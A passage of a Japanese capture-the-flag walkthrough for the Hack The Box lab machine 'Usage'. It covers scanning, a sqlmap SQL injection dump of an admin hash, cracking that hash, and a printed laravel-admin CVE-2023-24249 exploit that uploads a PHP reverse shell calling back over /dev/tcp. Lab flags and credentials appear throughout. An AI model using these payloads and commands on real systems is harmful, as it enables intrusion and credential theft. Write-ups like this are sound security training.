- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新(1回目)
- Webアクセスできるファイル/ディレクトリ調査(1回目)
- Webアクセスできるサブドメイン調査
- 名前解決のためのhostsファイル更新(2回目)
- Webアクセスできるファイル/ディレクトリ調査(2回目)
- SQLインジェクションの有無の調査
- sqlmapを用いたデータベース内のデータ取得
- John the Ripperを用いてハッシュ値解析
- laravel-adminの脆弱性(CVE-2023-24249)を悪用したリバースシェル
- 攻撃対象のマシン(Usage)の調査
- xanderユーザーでSSHログイン
- 特権昇格のための調査
- 特権昇格(sudo設定の脆弱性)
- [補足] Guided ModeのQA
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Usage」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新(1回目)
(3) Webアクセスできるファイル/ディレクトリ調査(1回目)
(4) Webアクセスできるサブドメイン調査
(5) 名前解決のためのhostsファイル更新(2回目)
(6) Webアクセスできるファイル/ディレクトリ調査(2回目)
(7) SQLインジェクションの有無の調査
(8) sqlmapを用いたデータベース内のデータ取得
(9) John the Ripperを用いてハッシュ値解析
(10) laravel-adminの脆弱性(CVE-2023-24249)を悪用したリバースシェル
(11) 攻撃対象のマシン(Usage)の調査
(12) xanderユーザーでSSHログイン
(13) 特権昇格のための調査
(14) 特権昇格(sudo設定の脆弱性)
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.18
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-17 18:38 JST
Nmap scan report for usage.htb (10.10.11.18)
Host is up (0.34s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_ 256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Daily Blogs
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 554/tcp)
HOP RTT ADDRESS
1 600.05 ms 10.10.16.1
2 279.80 ms usage.htb (10.10.11.18)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.05 seconds名前解決のためのhostsファイル更新(1回目)
(1) ブラウザを用いて「http://10.10.11.18/」にアクセスすると、「http://usage.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.18 usage.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://usage.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査(1回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ feroxbuster -u http://usage.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200 GET 265l 244w 5141c http://usage.htb/login
302 GET 12l 22w 334c http://usage.htb/logout => http://usage.htb/login
200 GET 264l 247w 5112c http://usage.htb/registration
200 GET 216l 196w 3767c http://usage.htb/forget-password
200 GET 265l 244w 5141c http://usage.htb/
302 GET 12l 22w 334c http://usage.htb/dashboard => http://usage.htb/login
ーーー(省略)ーーー

(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ gobuster dir -u http://usage.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Usage_80.txt
ーーー(省略)ーーー
/.history (Status: 403) [Size: 162]
/100 (Status: 503) [Size: 206]
/.listing (Status: 403) [Size: 162]
/.bashrc (Status: 403) [Size: 162]
/.bash_history (Status: 503) [Size: 206]
/.cvs (Status: 403) [Size: 162]
/10668 (Status: 503) [Size: 206]
/.cvsignore (Status: 503) [Size: 206]
/10sne1 (Status: 503) [Size: 206]
/!textove_diskuse (Status: 503) [Size: 206]
/106 (Status: 503) [Size: 206]
/108 (Status: 503) [Size: 206]
/105 (Status: 503) [Size: 206]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ sudo dirsearch -u http://usage.htb/
ーーー(省略)ーーー
[20:43:28] Starting:
[20:43:33] 403 - 564B - /%2e%2e;/test
[20:43:34] 503 - 608B - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[20:43:34] 503 - 608B - /+CSCOT+/translation
[20:43:34] 503 - 608B - /..;/
[20:43:34] 503 - 608B - /.0
[20:43:34] 503 - 608B - /.7z
[20:43:34] 503 - 608B - /.accdb
[20:43:34] 503 - 608B - /.access
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://usage.htb/FUZZ" -ic
ーーー(省略)ーーー
[Status: 200, Size: 5141, Words: 2184, Lines: 266, Duration: 634ms]
login [Status: 200, Size: 5141, Words: 2184, Lines: 266, Duration: 634ms]
logout [Status: 302, Size: 334, Words: 60, Lines: 12, Duration: 214ms]
:: Progress: [220546/220546] :: Job [1/1] :: 81 req/sec :: Duration: [0:30:34] :: Errors: 225 ::
ーーー(省略)ーーー
Webアクセスできるサブドメイン調査
(1) ffufを用いてアクセスできるusage.htbのサブドメインを調査するが、サブドメインは検出されない。
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FFUZ -H "Host: FFUZ.usage.htb" -u http://usage.htb -fs 230
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://usage.htb
:: Wordlist : FFUZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FFUZ.usage.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 199 req/sec :: Duration: [0:16:26] :: Errors: 120 ::
(2) ブラウザを用いて「http://usage.htb/」にアクセスして、右上部の「Admin」をクリックする。
(3) 「http://admin.usage.htb/」にアクセスされるが、admin.usage.htbの名前解決ができないためエラー画面となる。
名前解決のためのhostsファイル更新(2回目)
(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.18 admin.usage.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.18 admin.usage.htb」が出力されることを確認する。
(2) ブラウザを用いて「http://admin.usage.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査(2回目)
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ feroxbuster -u http://admin.usage.htb/ -d 2 -C 400,403,404,405,500
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ? ver: 2.11.0
qqqqqqqqqqqqqqqqqqqqqqqqqqqwqqqqqqqqqqqqqqqqqqqqqq
? Target Url x http://admin.usage.htb/
? Threads x 50
? Wordlist x /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
? Status Code Filters x [400, 403, 404, 405, 500]
? Timeout (secs) x 7
? User-Agent x feroxbuster/2.11.0
? Config File x /etc/feroxbuster/ferox-config.toml
? Extract Links x true
? HTTP methods x [GET]
? Recursion Depth x 2
qqqqqqqqqqqqqqqqqqqqqqqqqqqvqqqqqqqqqqqqqqqqqqqqqq
? Press [ENTER] to use the Scan Management Menu?
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
503 GET 7l 14w 206c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[####################] - 3m 30000/30000 0s found:0 errors:0
[####################] - 3m 30000/30000 197/s http://admin.usage.htb/

(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ gobuster dir -u http://admin.usage.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Usage1_80.txt
ーーー(省略)ーーー
/.rhosts (Status: 403) [Size: 162]
/.cvsignore (Status: 403) [Size: 162]
/.cvs (Status: 403) [Size: 162]
/.history (Status: 403) [Size: 162]
/.listing (Status: 403) [Size: 162]
/.git (Status: 403) [Size: 162]
/.forward (Status: 403) [Size: 162]
/007007 (Status: 503) [Size: 206]
ーーー(省略)ーーー
(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ sudo dirsearch -u http://admin.usage.htb/
ーーー(省略)ーーー
[21:19:57] Starting:
[21:20:02] 403 - 564B - /%2e%2e;/test
[21:20:02] 503 - 608B - /html.php
[21:20:03] 503 - 608B - /php.txt
[21:20:03] 503 - 608B - /js.tgz
[21:20:03] 503 - 608B - /jsp.txt
[21:20:03] 503 - 608B - /php.zip
[21:20:03] 503 - 608B - /html.txt
[21:20:03] 503 - 608B - /js.txt
ーーー(省略)ーーー
(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://admin.usage.htb/FUZZ" -ic
ーーー(省略)ーーー
uploads [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 276ms]
[Status: 200, Size: 3304, Words: 493, Lines: 89, Duration: 240ms]
:: Progress: [220546/220546] :: Job [1/1] :: 177 req/sec :: Duration: [0:27:09] :: Errors: 0 ::
ーーー(省略)ーーー
SQLインジェクションの有無の調査
(1) ブラウザを用いて「http://usage.htb/」にアクセスし、「Reset Password」をクリックする。
(2) 任意のメールアドレス(例:admin@usage.htb)を入力して、「Send Password Reset Link」をクリックする。
(3) メールアドレスが一致しない旨のメッセージが表示される。
(4) メールアドレス欄に「’ –」を入力して、「Send Password Reset Link」をクリックする。
(5) HTTPのステータスコード500番のエラーが表示されていることが分かる。通常のメールアドレスはデータベースへの問い合わせが正常に実施され、「’ –」はエラーになるためSQLインジェクションの脆弱性があることが分かる。
(6) Burp Suiteで取得したリクエストデータを確認すると、emailパラメータでユーザーが入力したデータを送っていることが分かる。
【リクエストデータ】
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IitFV2FFaDU5dUwrY3c1eEpvS1F4N1E9PSIsInZhbHVlIjoiU1hDL2c3WmE3ZTAzTC9PUnNaWWNlNWtrdEV0NGh5WjB6ZWluNlJ6QlN5ak42YnM0d29kYk9jUll6NkQrbXZFdmRFU1c1UytEdSt3cVFsTzdYYjhEeUJxRnowaEdiRlNhQ2pQZ1lhd2FYcDU0QjRFc3JYRVp6MGprdXNXMmQ2K20iLCJtYWMiOiJlNTIxNDMwNzY0MDU0M2VjZWY0NGViZmZjMjBlYjQxM2I5OTAxMDI0MDU0OTk1NjhkYWU3YzNlNWIyYjhhYTk3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iml0RFQzOTg3RTNmOGtJU0Ntd2FWTWc9PSIsInZhbHVlIjoiQ2wwaUpsbk1oSm9HczNjamN6WjdjRUtFaGZyWUVZYVltR3R2UnpPRXhVUlBucTRYSUQ3MmZsTk0weDFTZUg5MXBuVXdPUzRma3JhcFBxVTEzYVo0QjJZdXNvM256TVBiS2U3c0xtS3BhVitEaUJobTNwUk04OFBjVHBJTkRETWMiLCJtYWMiOiJjYjVkNWZhN2E2NmRiZDMwYmY1ZDQ0MWY1YmFjOGJiMjdmZDBlMDg5MzZmNTdhNDYyM2EyYWJjYjdkMTY0OWMxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=%27+--
sqlmapを用いたデータベース内のデータ取得
(1) Burp Stuiteで取得したリクエストデータのemailを「%27+–」から「*」に変更しファイルに保存する。
$ vi request1.txt
【リクエストデータ】
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: http://usage.htb
Connection: keep-alive
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IitFV2FFaDU5dUwrY3c1eEpvS1F4N1E9PSIsInZhbHVlIjoiU1hDL2c3WmE3ZTAzTC9PUnNaWWNlNWtrdEV0NGh5WjB6ZWluNlJ6QlN5ak42YnM0d29kYk9jUll6NkQrbXZFdmRFU1c1UytEdSt3cVFsTzdYYjhEeUJxRnowaEdiRlNhQ2pQZ1lhd2FYcDU0QjRFc3JYRVp6MGprdXNXMmQ2K20iLCJtYWMiOiJlNTIxNDMwNzY0MDU0M2VjZWY0NGViZmZjMjBlYjQxM2I5OTAxMDI0MDU0OTk1NjhkYWU3YzNlNWIyYjhhYTk3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Iml0RFQzOTg3RTNmOGtJU0Ntd2FWTWc9PSIsInZhbHVlIjoiQ2wwaUpsbk1oSm9HczNjamN6WjdjRUtFaGZyWUVZYVltR3R2UnpPRXhVUlBucTRYSUQ3MmZsTk0weDFTZUg5MXBuVXdPUzRma3JhcFBxVTEzYVo0QjJZdXNvM256TVBiS2U3c0xtS3BhVitEaUJobTNwUk04OFBjVHBJTkRETWMiLCJtYWMiOiJjYjVkNWZhN2E2NmRiZDMwYmY1ZDQ0MWY1YmFjOGJiMjdmZDBlMDg5MzZmNTdhNDYyM2EyYWJjYjdkMTY0OWMxIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i
_token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=*
(2) sqlmapを用いてデータベースの一覧を表示すると、usage_blogというデータベースがあることが分かる。
$ sqlmap -r request1.txt -p email --batch --level 5 --risk 3 --dbs --technique=B
※--techniqueオプションはペイロードの種類と順序を指定するオプション。デフォルトはBEUSTQになっている。
BEUSTQの意味は以下の通り。
・B: Boolean-based blind
・E: Error-based
・U: Union query-based
・S: Stacked queries
・T: Time-based blind
・Q: Inline queries
【出力内容(一部抜粋)】
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 337 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=' AND 2549=(SELECT (CASE WHEN (2549=2549) THEN 2549 ELSE (SELECT 3775 UNION SELECT 2009) END))-- LnOw
---
[12:50:30] [INFO] testing MySQL
[12:50:32] [INFO] confirming MySQL
ーーー(省略)ーーー
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
[12:57:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 284 times
[12:57:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/usage.htb'
(3) sqlmapを用いてテーブルの一覧を表示すると、admin_usersというユーザー情報が記載されてそうなテーブルがあることがか分かる。
$ sqlmap -r request1.txt -p email --batch --threads=10 --level 5 --risk 3 -D usage_blog --tables
【出力内容(一部抜粋)】
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
(4) adminユーザーのパスワードハッシュ値が「$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2」であることが分かる。
$ sqlmap -r request1.txt -p email --batch --level 5 --risk 3 -D usage_blog -T admin_users --dump
【出力内容(一部抜粋)】
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=FboE1wNMozvheBgiuhiGwd818pylpAPvm47FBaFb&email=' AND 2549=(SELECT (CASE WHEN (2549=2549) THEN 2549 ELSE (SELECT 3775 UNION SELECT 2009) END))-- LnOw
---
[13:11:41] [INFO] the back-end DBMS is MySQL
ーーー(省略)ーーー
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
John the Ripperを用いてハッシュ値解析
(1) codeの値がどのようなハッシュ値か確認するために、「https://hashes.com/en/tools/hash_identifier」にパスワードハッシュ値を入力して「SUBMIT & IDENTIFY」をクリックする。
(2) bcryptというアルゴリズムで生成されたハッシュ値であることが分かる。
(3) Kali Linux側の操作で取得したadminユーザーの認証情報を「$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2」をファイルに格納する。
※Kali Linux側のマシンでコマンドを実行する。
$ vi Usage_hash.txt
→「$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2」を書き込む。
$ cat Usage_hash.txt
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
(4) John the Ripperを用いてadminユーザーのハッシュ値を解析すると、「whatever1」のハッシュ値であることが分かる。
※Kali Linux側のマシンでコマンドを実行する。
$ john Usage_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (?)
1g 0:00:00:07 DONE (2025-07-19 22:52) 0.1314g/s 212.8p/s 212.8c/s 212.8C/s alexis1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.laravel-adminの脆弱性(CVE-2023-24249)を悪用したリバースシェル
(1) ブラウザを用いて「http://admin.usage.htb/」にアクセスして「ユーザー名:admin」、「パスワード:whatever1」を入力して、「Login」をクリックする。
(2) ログインに成功し各ソフトウェアのバージョンを確認できる。laravel-adminはバージョン1.8.18を使用していることが分かる。
(3) 「laravel-admin 1.8.18 exploit」でGoogle検索すると、CVE-2023-24249の脆弱性があることが分かる。また、以下のWebページで攻撃方法が公開されていることが分かる。
| URL | 概要 |
|---|---|
| https://flyd.uk/post/cve-2023-24249/ | 攻撃の流が記載されたWebページ |
| https://github.com/IDUZZEL/CVE-2023-24249-Exploit | Githubで公開している攻撃コードのWebページ |
(4) 「https://github.com/IDUZZEL/CVE-2023-24249-Exploit」に記載された攻撃コードをダウンロードする。
$ git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit
(5) 攻撃コードの内容を確認する。
$ cd CVE-2023-24249-Exploit
$ cat exploit.py
import argparse
import requests
from bs4 import BeautifulSoup
import subprocess
BANNER = """
\033[1;31m _____ _____ ___ __ ___ ____ ___ _ _ ___ _ _ ___
/ __\ \ / / __|_|_ ) \_ )__ /__|_ ) | |_ ) | |/ _ \\
| (__ \ V /| _|___/ / () / / |_ \___/ /|_ _/ /|_ _\_, /
\___| \_/ |___| /___\__/___|___/ /___| |_/___| |_| /_/ EXPLOIT by IDUZZEL\033[0m
"""
def get_tokens(session, url, endpoint):
try:
response = session.get(f"{url}/{endpoint}")
response.raise_for_status()
except requests.RequestException as e:
print(f"[-] Failed to fetch {endpoint} page: {e}")
return None, None
soup = BeautifulSoup(response.text, 'html.parser')
token_input = soup.find('input', {'name': '_token'})
if not token_input:
print(f"[-] No _token input found on {endpoint} page")
return None, None
token = token_input['value']
cookies = session.cookies.get_dict()
return token, cookies
def upload_revshell(url, username, password, ip, port):
session = requests.Session()
token, cookies = get_tokens(session, url, 'admin/auth/login')
if not token:
print("[-] Unable to retrieve token for login")
return
login_data = {
'username': username,
'password': password,
'_token': token
}
try:
login_response = session.post(f"{url}/admin/auth/login", data=login_data, cookies=cookies)
login_response.raise_for_status()
except requests.RequestException as e:
print(f"[-] Login failed: {e}")
return
if "Login failed" in login_response.text:
print("[-] Login failed, check your credentials")
return
token, cookies = get_tokens(session, url, 'admin/auth/setting')
if not token:
print("[-] Unable to retrieve token for settings")
return
# PHP reverse shell script
revshell_content = f"<?php system('bash -c \"bash -i >& /dev/tcp/{ip}/{port} 0>&1\"'); ?>"
with open('revshell.php', 'w') as revshell_file:
revshell_file.write(revshell_content)
files = {
'name': (None, 'Administrator'),
'avatar': ('revshell.php', open('revshell.php', 'rb'), 'image/jpeg'),
'_token': (None, token),
'_method': (None, 'PUT')
}
try:
response = session.post(f"{url}/admin/auth/setting", files=files, cookies=cookies)
response.raise_for_status()
print("[+] Reverse shell uploaded successfully! Attempting to execute it...")
# Send GET request to execute the reverse shell in a non-blocking manner
shell_url = f"{url}/uploads/images/revshell.php"
subprocess.Popen(['curl', shell_url])
print(f"[+] Reverse shell executed successfully! Check your listener at {ip}:{port}")
except requests.RequestException as e:
print(f"[-] Failed to upload reverse shell: {e}")
def main():
parser = argparse.ArgumentParser(description="Exploit script for command injection vulnerability")
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-U', '--username', required=True, help='Username')
parser.add_argument('-P', '--password', required=True, help='Password')
parser.add_argument('-i', '--ip', required=True, help='IP for reverse shell')
parser.add_argument('-p', '--port', required=True, help='Port for reverse shell')
args = parser.parse_args()
print(BANNER)
upload_revshell(args.url, args.username, args.password, args.ip, args.port)
if __name__ == "__main__":
main()
(6) Kali LinuxのIPアドレスを確認し、1234/tcpポートで待ち受ける。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.10」
$ nc -lvnp 1234
listening on [any] 1234 ...
(7) CVE-2023-24249の脆弱性を悪用しリバースシェル攻撃をする。
$ python3 exploit.py -u http://admin.usage.htb -U admin -P whatever1 -i 10.10.16.10 -p 1234
/home/kali/Downloads/aaaa/xxxx/PC/CVE-2023-24249-Exploit/exploit.py:8: SyntaxWarning: invalid escape sequence '\ '
/ __\ \ / / __|_|_ ) \_ )__ /__|_ ) | |_ ) | |/ _ \\
_____ _____ ___ __ ___ ____ ___ _ _ ___ _ _ ___
/ __\ \ / / __|_|_ ) \_ )__ /__|_ ) | |_ ) | |/ _ \
| (__ \ V /| _|___/ / () / / |_ \___/ /|_ _/ /|_ _\_, /
\___| \_/ |___| /___\__/___|___/ /___| |_/___| |_| /_/ EXPLOIT by IDUZZEL
[+] Reverse shell uploaded successfully! Attempting to execute it...
[+] Reverse shell executed successfully! Check your listener at 10.10.16.10:1234
(8) 1234/tcpで待ち受けていたプロンプトに応答があり、コマンドを実行できるようになる。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.18] 55616
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$
(9) 現在ログインしているユーザー情報を確認すると、dashユーザーでログインしていることが分かる。
※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
$ whoami
dash
(10) 一般ユーザー用のフラグファイルを確認する。
※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ cat /home/dash/user.txt
22fbdfd0e0a5648824d3c6b8d197973a攻撃対象のマシン(Usage)の調査
(1) ログインできるユーザーを確認すると、dashユーザーの他にxanderユーザーがログインできることが分かる。
※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ ls /home/
dash
xander
$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash
(2) xanderユーザーをパスワードを探すために、「password」という文字列が記載されたファイルを調べる。しかし、/var/www/html/project_admin/や環境変数には設定されていない。
※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ find /var/www/html/project_admin/config/ -type f | xargs grep -n 'password'
/var/www/html/project_admin/config/database.php:53: 'password' => env('DB_PASSWORD', ''),
/var/www/html/project_admin/config/database.php:73: 'password' => env('DB_PASSWORD', ''),
/var/www/html/project_admin/config/database.php:88: 'password' => env('DB_PASSWORD', ''),
/var/www/html/project_admin/config/database.php:135: 'password' => env('REDIS_PASSWORD'),
/var/www/html/project_admin/config/database.php:144: 'password' => env('REDIS_PASSWORD'),
/var/www/html/project_admin/config/auth.php:10: | This option controls the default authentication "guard" and password
/var/www/html/project_admin/config/auth.php:18: 'passwords' => 'users',
/var/www/html/project_admin/config/auth.php:79: | You may specify multiple password reset configurations if you have more
/var/www/html/project_admin/config/auth.php:81: | separate password reset settings based on the specific user types.
/var/www/html/project_admin/config/auth.php:88: | generating more password reset tokens. This prevents the user from
/var/www/html/project_admin/config/auth.php:89: | quickly generating a very large amount of password reset tokens.
/var/www/html/project_admin/config/auth.php:93: 'passwords' => [
/var/www/html/project_admin/config/auth.php:96: 'table' => 'password_reset_tokens',
/var/www/html/project_admin/config/auth.php:107: | Here you may define the amount of seconds before a password confirmation
/var/www/html/project_admin/config/auth.php:108: | times out and the user is prompted to re-enter their password via the
/var/www/html/project_admin/config/auth.php:113: 'password_timeout' => 10800,
/var/www/html/project_admin/config/hashing.php:11: | passwords for your application. By default, the bcrypt algorithm is
/var/www/html/project_admin/config/hashing.php:26: | passwords are hashed using the Bcrypt algorithm. This will allow you
/var/www/html/project_admin/config/hashing.php:27: | to control the amount of time it takes to hash the given password.
/var/www/html/project_admin/config/hashing.php:41: | passwords are hashed using the Argon algorithm. These will allow you
/var/www/html/project_admin/config/hashing.php:42: | to control the amount of time it takes to hash the given password.
/var/www/html/project_admin/config/mail.php:44: 'password' => env('MAIL_PASSWORD'),
$ printenv
PWD=/var/www/html/project_admin/public/uploads/images
HOME=/home/dash
LS_COLORS=
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
USER=dash
SHLVL=2
_=/usr/bin/printenv
(3) dashのホームディレクトリ(/home/dash)を確認すると、.monitrcという珍しいファイルがあることが分かる。
※リバースシェルで奪取した攻撃対象のマシン(Usage)上で以下のコマンドを実行する。
$ ls -al /home/dash
drwxr-x--- 6 dash dash 4096 Jul 20 01:18 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 2024 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash 6 Jul 20 01:18 .monit.pid
-rw------- 1 dash dash 1192 Jul 20 01:16 .monit.state
-rwx------ 1 dash dash 707 Oct 26 2023 .monitrc
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Jul 19 02:32 user.txt
(4) .monitrcファイルの内容を確認すると、adminユーザーのパスワードが「3nc0d3d_pa$$w0rd」であることが分かる。
$ cat /home/dash/.monitrc
【出力結果】
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
#Apache
